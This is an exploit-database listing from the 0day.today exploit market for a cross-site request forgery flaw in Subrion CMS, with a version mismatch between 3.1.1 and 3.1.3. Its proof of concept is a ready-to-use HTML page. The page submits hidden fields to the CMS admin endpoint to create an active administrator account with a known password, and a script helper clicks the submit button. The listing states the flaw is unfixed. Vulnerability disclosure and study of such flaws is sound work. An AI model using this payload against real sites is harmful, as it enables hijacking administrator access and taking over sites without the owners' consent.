[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Subrion v3.1.1 Cross-Site Request Forgery (CSRF) Vulnerability

Author
TUNISIAN CYBER
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-21934
Category
web applications
Date add
22-02-2014
Platform
php
[+] Author: TUNISIAN CYBER
[+] Exploit Title: Subrion v3.1.1 Cross-Site Request Forgery (CSRF) Vulnerability
[+] Date: 22-02-2014
[+] Category: WebApp
[+] Tested on: KaliLinux/Windows 7 Pro
[+] Vendor: http://www.subrion.com/product.html
[+] Friendly Sites: na3il.com,th3-creative.com

1.OVERVIEW:
Subrion suffers from a Cross-Site Request Forgery (CSRF) Vulnerability.

2.Version:
v3.1.3

3.Background:
Subrion CMS is a stand-alone PHP content management system that is very easy to use. 
It comes with a ton of great features including full source editing, 
per-page permissions, user activity monitoring, and much more.
Subrion CMS unites the functionality of articles script, 
auto classifieds script, realty classifieds script, web directory script, and yellow pages script all in one package.
http://www.subrion.com/product.html


4.Proof Of Concept:
<html>
<head>
</head>
<body><center><br/>
<form method="post" action="http://127.0.0.1/subrion/admin/members/add/" onsubmit="forge()">
<input type="hidden" name="username" value="admin2" />
<input type="hidden" name="fullname" value="TUNISIAN CYBER" />
<input type="hidden" name="email" value="g4k@hotmail.es" />
<input type="hidden" name="_password" value="checkmate" />
<input type="hidden" name="_password2" value="checkmate" />
<input type="hidden" name="usergroup" value="1" />
<input type="hidden" name="avatar" value="" />
<input type="hidden" name="sponsored" value="0" />
<input type="hidden" name="plan_id" value="1" />
<input type="hidden" name="sponsored_end" value="" />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="save" value="Add" />
<input type="hidden" name="goto" value="list" />
<input type="hidden" name="old_name" value="ZSL" />
<input type="hidden" name="id" value="" />
<input type="submit" id="csrf" value="click Me!" />
</form></center>
<script type="text/javascript">
function forge(){document.getElementById("csrf").click();}
</script>
</body>
</html>



5.Solution(s):
NOT FIXED

6.TIME-LINE:
2014-02-20: Vulnerability was discovered.
2014-02-21: No Reply
2014-02-22: No Reply
2014-02-22: Vulnerability released



7.Greetings:
Xmax-tn
Xtech-set
N43il
Sec4ver,E4A Members

#  0day.today [2024-12-24]  #